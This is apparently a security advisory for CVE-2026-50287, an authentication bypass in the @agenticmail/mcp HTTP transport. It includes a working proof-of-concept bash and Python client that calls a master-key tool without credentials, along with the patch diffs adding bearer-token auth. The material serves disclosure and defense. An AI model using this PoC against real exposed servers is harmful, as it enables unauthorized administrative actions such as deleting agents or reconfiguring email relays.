VYPR
High severityNVD Advisory· Published Jun 1, 2026· Updated Jun 9, 2026

@agenticmail/mcp Missing Authentication for Critical Function

CVE-2026-50287

Description

# AgenticMail MCP HTTP authorization bypass

Summary

@agenticmail/mcp exposes a Streamable HTTP transport when started with --http or MCP_HTTP=1. In that mode, the /mcp endpoint accepts requests without any HTTP authentication layer. A remote client can initialize a session and call tools directly.

The problem is that the MCP server also exposes tools documented as requiring AGENTICMAIL_MASTER_KEY, and the server process forwards those calls using its own configured master key. As a result, any client that can reach the MCP HTTP port can invoke master-only operations without knowing the master key.

Impact

An unauthenticated network client can invoke master-key-only MCP tools through the server, including administrative and gateway actions.

Confirmed with a read-only tool:

  • setup_guide

The same path reaches higher-impact tools such as:

  • setup_email_relay
  • setup_email_domain
  • delete_agent
  • cleanup_agents
  • send_test_email

Affected

Code

  • packages/mcp/src/index.ts
  • packages/mcp/src/tools.ts
  • packages/mcp/README.md

Relevant observations:

- packages/mcp/src/index.ts starts an HTTP server for /mcp without checking an Authorization header. - packages/mcp/src/tools.ts marks gateway/admin tools as master-key tools and forwards them with the server-side AGENTICMAIL_MASTER_KEY. - packages/mcp/README.md documents that gateway/admin tools require the master key.

Reproduction

Use the bundled one-command PoC runner:

cd agenticmail
./scripts/run_agenticmail_mcp_http_unauth_poc.sh

Expected success output:

[+] received mcp-session-id without authentication: ...
[+] tools/call(setup_guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide`

PoC

Files

- scripts/run_agenticmail_mcp_http_unauth_poc.sh - One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes. - scripts/agenticmail_mcp_http_unauth_poc.py - Unauthenticated MCP client that sends initialize and then calls setup_guide.

Inline

PoC

The following PoC is non-destructive. It calls setup_guide, which is documented as a master-key tool but only returns setup guidance.

scripts/run_agenticmail_mcp_http_unauth_poc.sh

#!/usr/bin/env bash
set -euo pipefail

REPO_DIR="."
POC="scripts/agenticmail_mcp_http_unauth_poc.py"

API_HOST="${API_HOST:-127.0.0.1}"
API_PORT="${API_PORT:-}"
MCP_PORT="${MCP_PORT:-}"
MASTER_KEY="${AGENTICMAIL_MASTER_KEY:-mk_path4_poc_master}"
DATA_DIR="${AGENTICMAIL_DATA_DIR:-.poc-data}"
LOG_DIR="${LOG_DIR:-.poc-logs}"

mkdir -p "$DATA_DIR" "$LOG_DIR"

node_major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node_major < 20 )); then
  echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
  exit 2
fi

find_free_port() {
  python3 - <<'PY'
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.bind(("127.0.0.1", 0))
    print(sock.getsockname()[1])
PY
}

[[ -n "$API_PORT" ]] || API_PORT="$(find_free_port)"
[[ -n "$MCP_PORT" ]] || MCP_PORT="$(find_free_port)"

api_pid=""
mcp_pid=""
cleanup() {
  set +e
  [[ -z "${mcp_pid:-}" ]] || kill "$mcp_pid" 2>/dev/null || true
  [[ -z "${api_pid:-}" ]] || kill "$api_pid" 2>/dev/null || true
}
trap cleanup EXIT

wait_tcp() {
  local host="$1"
  local port="$2"
  local name="$3"
  for _ in $(seq 1 60); do
    if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
    sock.connect((sys.argv[1], int(sys.argv[2])))
    sys.exit(0)
except Exception:
    sys.exit(1)
finally:
    sock.close()
PY
    then
      echo "[+] $name is listening: $host:$port"
      return 0
    fi
    sleep 1
  done
  echo "[-] Timed out waiting for $name: $host:$port" >&2
  return 1
}

cd "$REPO_DIR"

echo "[+] Starting AgenticMail API on $API_HOST:$API_PORT"
(
  export AGENTICMAIL_API_HOST="$API_HOST"
  export AGENTICMAIL_API_PORT="$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm run dev:api
) >"$LOG_DIR/api.log" 2>&1 &
api_pid="$!"
wait_tcp "$API_HOST" "$API_PORT" "AgenticMail API"

echo "[+] Starting AgenticMail MCP HTTP server on port $MCP_PORT"
(
  export AGENTICMAIL_API_URL="http://$API_HOST:$API_PORT"
  export AGENTICMAIL_MASTER_KEY="$MASTER_KEY"
  export AGENTICMAIL_DATA_DIR="$DATA_DIR"
  npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP_PORT"
) >"$LOG_DIR/mcp.log" 2>&1 &
mcp_pid="$!"
wait_tcp "127.0.0.1" "$MCP_PORT" "AgenticMail MCP HTTP server"

echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP_PORT/mcp"

scripts/agenticmail_mcp_http_unauth_poc.py

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def post_json(url: str, payload: dict, session_id: str | None = None) -> tuple[int, dict, str]:
    data = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    if session_id:
        headers["mcp-session-id"] = session_id

    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            return resp.status, dict(resp.headers), body
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", errors="replace")
        return exc.code, dict(exc.headers), body


def parse_sse_or_json(body: str) -> list[dict]:
    events: list[dict] = []
    stripped = body.strip()
    if not stripped:
        return events
    if stripped.startswith("{") or stripped.startswith("["):
        parsed = json.loads(stripped)
        return parsed if isinstance(parsed, list) else [parsed]
    for line in body.splitlines():
        if not line.startswith("data:"):
            continue
        data = line[len("data:") :].strip()
        if not data:
            continue
        try:
            events.append(json.loads(data))
        except json.JSONDecodeError:
            pass
    return events


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:8014/mcp")
    parser.add_argument("--tool", default="setup_guide")
    args = parser.parse_args()

    init_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-03-26",
            "capabilities": {},
            "clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
        },
    }

    status, headers, body = post_json(args.url, init_payload)
    print(f"[+] initialize HTTP status: {status}")
    print(f"[+] initialize response body: {body[:500]}")
    session_id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
    if not session_id:
        print("[-] No mcp-session-id header returned")
        return 2
    print(f"[+] received mcp-session-id without authentication: {session_id}")

    post_json(args.url, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
        "params": {},
    }, session_id=session_id)

    status, _headers, body = post_json(args.url, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {"name": args.tool, "arguments": {}},
    }, session_id=session_id)
    print(f"[+] tools/call({args.tool}) HTTP status: {status}")
    print("[+] raw response:")
    print(body)

    if any("result" in msg for msg in parse_sse_or_json(body)):
        print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
        return 0

    print("[-] Tool call did not return a result")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Why

This Is a Vulnerability

The project treats AGENTICMAIL_MASTER_KEY as the authorization boundary for administrative and gateway operations. HTTP MCP mode removes the client-side authentication boundary entirely, so an unauthenticated network client becomes an indirect caller of master-only API functionality.

Suggested

Fix

  • Require authentication for HTTP MCP mode.
  • Bind the MCP HTTP server to 127.0.0.1 by default.
  • Reject /mcp requests that lack a valid bearer token or shared secret.
  • Disable master-key tools when the transport is unauthenticated.

Affected products

1

Patches

2
7b9b05d97367

CHANGELOG: 0.9.101 security entry for GHSA-63gr-g7jc-v8rg

https://github.com/agenticmail/agenticmailOpe OlatunjiMay 29, 2026via ghsa
1 file changed · +37 0
  • CHANGELOG.md+37 0 modified
    @@ -5,6 +5,43 @@ All notable changes to this project will be documented in this file.
     The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
     and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
     
    +## [0.9.101] - 2026-05-28
    +
    +### Security — fixes GHSA-63gr-g7jc-v8rg (missing auth on `@agenticmail/mcp --http`)
    +
    +The optional Streamable HTTP transport (`agenticmail-mcp --http` /
    +`MCP_HTTP=1`) listened on all interfaces with no `Authorization`
    +check. A client that could reach the port could initialize an MCP
    +session and invoke master-key-only tools (`setup_email_relay`,
    +`setup_email_domain`, `delete_agent`, `cleanup_agents`,
    +`send_test_email`, …) because the server forwarded those calls
    +using its own `AGENTICMAIL_MASTER_KEY`.
    +
    +Stdio mode (the default) was never affected. If you didn't pass
    +`--http` or set `MCP_HTTP=1`, nothing changes for you — but upgrade
    +anyway.
    +
    +Fix in `packages/mcp/src/index.ts`:
    +
    +- Default-bind `/mcp` to `127.0.0.1`. Override with `--host=0.0.0.0`
    +  or `MCP_HTTP_HOST=...`. Startup logs an explicit warning when
    +  bound to a non-loopback interface.
    +- Require `Authorization: Bearer <token>` on every `/mcp` request
    +  (constant-time compare via `crypto.timingSafeEqual`).
    +- Auto-mint the token on first start, persist to
    +  `~/.agenticmail/mcp-http-token` (chmod 600). Override with
    +  `MCP_HTTP_TOKEN` env or `--token=<value>`.
    +- `--insecure` brings back the old behavior for sandboxed test
    +  environments only, with a loud warning at startup.
    +- `GET /health` stays open (returns only the session count).
    +
    +Reported by @SecurePatchOps. CVE assignment requested via GitHub;
    +the CVE ID will populate on the advisory page automatically once
    +MITRE assigns it.
    +
    +Release: `@agenticmail/mcp@0.9.27`, `@agenticmail/claudecode@0.2.32`,
    +`@agenticmail/codex@0.1.26`, `@agenticmail/cli@0.9.101`.
    +
     ## [0.9.100] - 2026-05-22
     
     ### Fixed — `@agenticmail/core` failed to load with "Dynamic require of 'events' is not supported"
    
7d1791da7c8c

Security 0.9.27: fix GHSA-63gr-g7jc-v8rg — HTTP MCP missing auth

https://github.com/agenticmail/agenticmailOpe OlatunjiMay 29, 2026via ghsa
6 files changed · +148 13
  • agenticmail/package.json+3 3 modified
    @@ -1,6 +1,6 @@
     {
       "name": "@agenticmail/cli",
    -  "version": "0.9.100",
    +  "version": "0.9.101",
       "description": "Email, SMS & phone-call infrastructure for AI agents — real email addresses, phone numbers, and agent-driven outbound voice calls",
       "type": "module",
       "main": "dist/index.js",
    @@ -38,8 +38,8 @@
         "json5": "^2.2.3"
       },
       "optionalDependencies": {
    -    "@agenticmail/claudecode": "^0.2.31",
    -    "@agenticmail/codex": "^0.1.25"
    +    "@agenticmail/claudecode": "^0.2.32",
    +    "@agenticmail/codex": "^0.1.26"
       },
       "devDependencies": {
         "tsup": "^8.4.0",
    
  • packages/claudecode/package.json+2 2 modified
    @@ -1,6 +1,6 @@
     {
       "name": "@agenticmail/claudecode",
    -  "version": "0.2.31",
    +  "version": "0.2.32",
       "description": "Claude Code integration for AgenticMail — surfaces every AgenticMail agent as a native Claude Code subagent so any Claude Code session can delegate to them with the Agent tool",
       "type": "module",
       "main": "dist/index.js",
    @@ -48,7 +48,7 @@
       },
       "dependencies": {
         "@agenticmail/core": "^0.9.37",
    -    "@agenticmail/mcp": "^0.9.26",
    +    "@agenticmail/mcp": "^0.9.27",
         "@anthropic-ai/claude-agent-sdk": "^0.2.140"
       },
       "peerDependencies": {
    
  • packages/codex/package.json+2 2 modified
    @@ -1,6 +1,6 @@
     {
       "name": "@agenticmail/codex",
    -  "version": "0.1.25",
    +  "version": "0.1.26",
       "description": "OpenAI Codex CLI integration for AgenticMail — surfaces every AgenticMail agent as a native Codex subagent and wires the dispatcher daemon to the Codex SDK",
       "type": "module",
       "main": "dist/index.js",
    @@ -46,7 +46,7 @@
       },
       "dependencies": {
         "@agenticmail/core": "^0.9.37",
    -    "@agenticmail/mcp": "^0.9.26",
    +    "@agenticmail/mcp": "^0.9.27",
         "@iarna/toml": "^2.2.5"
       },
       "peerDependencies": {
    
  • packages/mcp/package.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "name": "@agenticmail/mcp",
    -  "version": "0.9.26",
    +  "version": "0.9.27",
       "mcpName": "io.github.agenticmail/mcp",
       "description": "MCP server for AgenticMail — give any AI client real email, SMS, and phone call-control capabilities",
       "type": "module",
    
  • packages/mcp/README.md+26 0 modified
    @@ -8,6 +8,18 @@ The MCP (Model Context Protocol) server for [AgenticMail](https://github.com/age
     
     When connected, your AI agent can send emails and texts, check inboxes, reply to messages, receive verification codes, manage contacts, schedule emails, assign tasks to other agents, and more — all through natural language. The server provides 100 tools that cover every email, SMS, and agent management operation.
     
    +## ✨ Security — 0.9.27
    +
    +**Fixes [GHSA-63gr-g7jc-v8rg](https://github.com/agenticmail/agenticmail/security/advisories/GHSA-63gr-g7jc-v8rg)** — missing authentication on the optional Streamable HTTP transport (`--http` / `MCP_HTTP=1`).
    +
    +- `--http` mode now **binds to `127.0.0.1` by default** and **requires `Authorization: Bearer <token>`** on every `/mcp` request.
    +- The bearer token is auto-minted on first start and persisted to `~/.agenticmail/mcp-http-token` (chmod 600). Override with `MCP_HTTP_TOKEN` env or `--token=<value>`.
    +- Bind to other interfaces with `--host=0.0.0.0` or `MCP_HTTP_HOST=...` — startup logs an explicit warning when the endpoint is reachable from the network.
    +- `--insecure` brings back the old no-auth behavior for sandboxed test environments only. Startup prints a loud warning.
    +- Stdio mode (the default) was never affected.
    +
    +If you weren't using `--http` / `MCP_HTTP=1`, no action is needed.
    +
     ## ✨ What's new in 0.9.0
     
     - **🧠 `get_thread_id` + `save_thread_memory`** — two new tools in the `multi_agent_extras` tier. Workers call `get_thread_id({uid})` once after reading a new message, then `save_thread_memory({threadId, summary, commitments?, openQuestions?, lastAction?, lastUid?})` at end-of-wake. The dispatcher reads the memory back into the next wake's prompt automatically. Pairs with the dispatcher-side ThreadCache to flatten wake cost — agents no longer have to re-read 10 prior messages every time.
    @@ -114,6 +126,20 @@ For desktop AI applications, add to your MCP configuration file. Example paths:
     
     ¹ Either `AGENTICMAIL_API_KEY` OR `AGENTICMAIL_MASTER_KEY` (or `AGENTICMAIL_ACCOUNT_KEYS_JSON`) must be set, but you don't strictly need all three.
     
    +### Optional Streamable HTTP transport (`--http`)
    +
    +Most users should stick with the default stdio transport — that's what every MCP client config above uses. For environments that need a long-lived HTTP endpoint (browser-based clients, remote-development tunnels, multi-host setups), pass `--http`:
    +
    +```bash
    +agenticmail-mcp --http                       # 127.0.0.1:8014, auth required
    +agenticmail-mcp --http --port=9001
    +agenticmail-mcp --http --host=0.0.0.0        # expose on network (token still required)
    +agenticmail-mcp --http --token=mcphttp_xxx   # use a known token instead of the minted one
    +agenticmail-mcp --http --insecure            # sandbox/test only — disables auth
    +```
    +
    +The token is read from (in order): `--token=...` flag, `MCP_HTTP_TOKEN` env, `~/.agenticmail/mcp-http-token` (auto-minted on first run). Clients must send `Authorization: Bearer <token>` on every request to `/mcp`. `GET /health` stays open and returns only the session count.
    +
     ### Per-call identity switching (`_account`)
     
     Every tool's input schema accepts an optional `_account: "<name>"` parameter. When passed, the server resolves that name to an apiKey (from `AGENTICMAIL_ACCOUNT_KEYS_JSON`, then falling back to a live master-keyed lookup of `/accounts`) and runs the call as that agent. Without `_account`, the call uses `AGENTICMAIL_API_KEY` as the default identity.
    
  • packages/mcp/src/index.ts+114 5 modified
    @@ -6,7 +6,10 @@ import { toolDefinitions, handleToolCall } from './tools.js';
     import { resourceDefinitions, handleResourceRead } from './resources.js';
     import { setTelemetryVersion } from '@agenticmail/core';
     import { createServer } from 'node:http';
    -import { randomUUID } from 'node:crypto';
    +import { randomUUID, timingSafeEqual } from 'node:crypto';
    +import { readFileSync, writeFileSync, mkdirSync, existsSync, chmodSync } from 'node:fs';
    +import { homedir } from 'node:os';
    +import { join as joinPath } from 'node:path';
     import { z, type ZodTypeAny } from 'zod';
     import { coerceToArray, coerceToObject, coerceToNumber, coerceToBoolean } from './coerce.js';
     
    @@ -299,12 +302,85 @@ function createMcpServer(): McpServer {
     const args = process.argv.slice(2);
     const httpFlag = args.includes('--http');
     const portArg = args.find(a => a.startsWith('--port='));
    +const hostArg = args.find(a => a.startsWith('--host='));
    +const tokenArg = args.find(a => a.startsWith('--token='));
    +const insecureFlag = args.includes('--insecure');
     const httpPort = portArg ? parseInt(portArg.split('=')[1], 10) : (parseInt(process.env.MCP_PORT || '', 10) || 8014);
    +// Default-bind to loopback. Override with --host=0.0.0.0 or MCP_HTTP_HOST
    +// to expose on other interfaces. Historical behavior (pre-fix for
    +// GHSA-63gr-g7jc-v8rg) was to bind all interfaces, which exposed the
    +// admin-tool surface to the LAN.
    +const httpHost = hostArg ? hostArg.split('=')[1] : (process.env.MCP_HTTP_HOST || '127.0.0.1');
    +
    +/**
    + * Resolve the bearer token required to call /mcp in HTTP mode.
    + *
    + * Resolution order:
    + *   1. --token=<value> CLI flag
    + *   2. MCP_HTTP_TOKEN env var
    + *   3. Persistent file at ~/.agenticmail/mcp-http-token (auto-minted on
    + *      first run, chmod 600). Survives restarts so a user can wire the
    + *      token into their MCP client config once and forget it.
    + *
    + * Returns null only when --insecure is passed. That flag is the explicit
    + * opt-out and prints a loud warning at startup so it can't happen by
    + * accident.
    + */
    +function resolveHttpToken(): string | null {
    +  if (insecureFlag) return null;
    +  if (tokenArg) return tokenArg.split('=').slice(1).join('=');
    +  if (process.env.MCP_HTTP_TOKEN) return process.env.MCP_HTTP_TOKEN;
    +  const dir = joinPath(homedir(), '.agenticmail');
    +  const file = joinPath(dir, 'mcp-http-token');
    +  if (existsSync(file)) {
    +    try {
    +      const t = readFileSync(file, 'utf8').trim();
    +      if (t) return t;
    +    } catch { /* fall through to mint */ }
    +  }
    +  const minted = 'mcphttp_' + randomUUID().replace(/-/g, '');
    +  try {
    +    mkdirSync(dir, { recursive: true });
    +    writeFileSync(file, minted + '\n', { mode: 0o600 });
    +    chmodSync(file, 0o600);
    +  } catch (err) {
    +    console.error('[agenticmail-mcp] WARN: could not persist auth token to', file, '—', (err as Error).message);
    +  }
    +  return minted;
    +}
    +
    +/**
    + * Constant-time bearer-token check. Returns true iff the request carries
    + * `Authorization: Bearer <expected>`. Length-safe so an attacker can't
    + * distinguish "wrong token" from "wrong length" via timing.
    + */
    +function checkAuth(req: import('node:http').IncomingMessage, expected: string): boolean {
    +  const header = req.headers['authorization'];
    +  if (typeof header !== 'string') return false;
    +  const m = header.match(/^Bearer\s+(.+)$/i);
    +  if (!m) return false;
    +  const got = Buffer.from(m[1]);
    +  const want = Buffer.from(expected);
    +  if (got.length !== want.length) return false;
    +  return timingSafeEqual(got, want);
    +}
     
     if (httpFlag || process.env.MCP_HTTP === '1') {
       // ─── HTTP/Streamable HTTP Transport ───────────────────────────────
       // Supports both SSE streaming and direct JSON responses per MCP spec.
    -  // Usage: agenticmail-mcp --http [--port=8014]
    +  // Usage: agenticmail-mcp --http [--port=8014] [--host=127.0.0.1]
    +  //        [--token=<bearer>] [--insecure]
    +  //
    +  // Security model (post-GHSA-63gr-g7jc-v8rg):
    +  //   - Binds to 127.0.0.1 by default so the admin-tool surface is not
    +  //     reachable from other hosts on the network.
    +  //   - Requires `Authorization: Bearer <token>` on every /mcp request.
    +  //     Token is auto-minted on first run and stored at
    +  //     ~/.agenticmail/mcp-http-token (chmod 600). Override with
    +  //     MCP_HTTP_TOKEN or --token=.
    +  //   - --insecure disables both bind-restriction warnings and the auth
    +  //     check. Reserved for sandboxed test environments only.
    +  const authToken = resolveHttpToken();
       const server = createMcpServer();
     
       // Map of session ID -> transport for stateful connections
    @@ -328,6 +404,21 @@ if (httpFlag || process.env.MCP_HTTP === '1') {
           return;
         }
     
    +    // Authentication gate — every /mcp request (POST/GET/DELETE) must
    +    // present the bearer token. Skipped only when --insecure was passed
    +    // (authToken === null), which is logged loudly at startup.
    +    if (authToken !== null && !checkAuth(req, authToken)) {
    +      res.writeHead(401, {
    +        'Content-Type': 'application/json',
    +        'WWW-Authenticate': 'Bearer realm="agenticmail-mcp"',
    +      });
    +      res.end(JSON.stringify({
    +        error: 'Unauthorized. Send Authorization: Bearer <token>. ' +
    +               'Token is at ~/.agenticmail/mcp-http-token or in MCP_HTTP_TOKEN.',
    +      }));
    +      return;
    +    }
    +
         // Handle DELETE for session termination
         if (req.method === 'DELETE') {
           const sessionId = req.headers['mcp-session-id'] as string | undefined;
    @@ -392,11 +483,29 @@ if (httpFlag || process.env.MCP_HTTP === '1') {
         res.end(JSON.stringify({ error: 'Method not allowed. Use POST /mcp for JSON-RPC, GET /mcp for SSE stream.' }));
       });
     
    -  httpServer.listen(httpPort, () => {
    +  httpServer.listen(httpPort, httpHost, () => {
    +    const displayHost = httpHost === '0.0.0.0' || httpHost === '::' ? 'localhost' : httpHost;
         console.log(`🎀 AgenticMail MCP Server (Streamable HTTP)`);
    -    console.log(`   Endpoint: http://localhost:${httpPort}/mcp`);
    -    console.log(`   Health:   http://localhost:${httpPort}/health`);
    +    console.log(`   Endpoint: http://${displayHost}:${httpPort}/mcp`);
    +    console.log(`   Health:   http://${displayHost}:${httpPort}/health`);
    +    console.log(`   Bind:     ${httpHost}`);
         console.log(`   Transport: Streamable HTTP (SSE + JSON responses)`);
    +    if (authToken === null) {
    +      console.log('');
    +      console.log('   ⚠️  --insecure: bearer-token auth DISABLED on /mcp.');
    +      console.log('   ⚠️  Anyone who can reach the port can call master-key tools.');
    +      console.log('   ⚠️  Do not run this mode on untrusted networks.');
    +    } else {
    +      console.log(`   Auth:     Bearer token required on /mcp`);
    +      console.log('');
    +      console.log('   Connect an MCP client with:');
    +      console.log(`     Authorization: Bearer ${authToken}`);
    +      if (httpHost !== '127.0.0.1' && httpHost !== 'localhost' && httpHost !== '::1') {
    +        console.log('');
    +        console.log(`   ⚠️  Bound to ${httpHost} — endpoint is reachable from the network.`);
    +        console.log('   ⚠️  Make sure the bearer token above is treated as a secret.');
    +      }
    +    }
       });
     
       // Graceful shutdown
    

Vulnerability mechanics

Root cause

"The MCP HTTP transport mode lacked an authentication layer, allowing unauthenticated clients to invoke master-key-protected tools."

Attack vector

A remote client that can reach the MCP HTTP port can initialize a session and call tools directly. The MCP server forwards calls to master-key-only tools using its own configured master key, bypassing the need for the client to possess the `AGENTICMAIL_MASTER_KEY` [ref_id=1]. This allows unauthenticated network clients to invoke administrative and gateway actions.

Confirmed with a read-only tool like `setup_guide`, the same path can reach higher-impact tools such as `setup_email_relay`, `setup_email_domain`, `delete_agent`, `cleanup_agents`, and `send_test_email` [ref_id=1].

Affected code

The vulnerability exists in `packages/mcp/src/index.ts`, which starts an HTTP server for `/mcp` without checking an `Authorization` header. Additionally, `packages/mcp/src/tools.ts` marks certain tools as requiring the `AGENTICMAIL_MASTER_KEY` and forwards these calls using the server's key, while `packages/mcp/README.md` documents these master-key requirements [ref_id=1].

What the fix does

The patch introduces an authentication layer to the HTTP MCP transport mode. It now defaults to binding to `127.0.0.1` and requires an `Authorization: Bearer <token>` header for all `/mcp` requests. The token is auto-generated and persisted to `~/.agenticmail/mcp-http-token`, or can be provided via environment variables or a command-line flag. This prevents unauthenticated clients from accessing master-key-protected tools [patch_id=5350191].

Preconditions

  • networkThe attacker must be able to reach the MCP HTTP port.
  • configThe MCP server must be started with the `--http` flag or have `MCP_HTTP=1` set.

Reproduction

Use the bundled one-command PoC runner: ```bash cd agenticmail ./scripts/run_agenticmail_mcp_http_unauth_poc.sh ```

Expected success output: ```text [+] received mcp-session-id without authentication: ... [+] tools/call(setup_guide) HTTP status: 200 [+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup_guide` ```

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

7

News mentions

0

No linked articles in our index yet.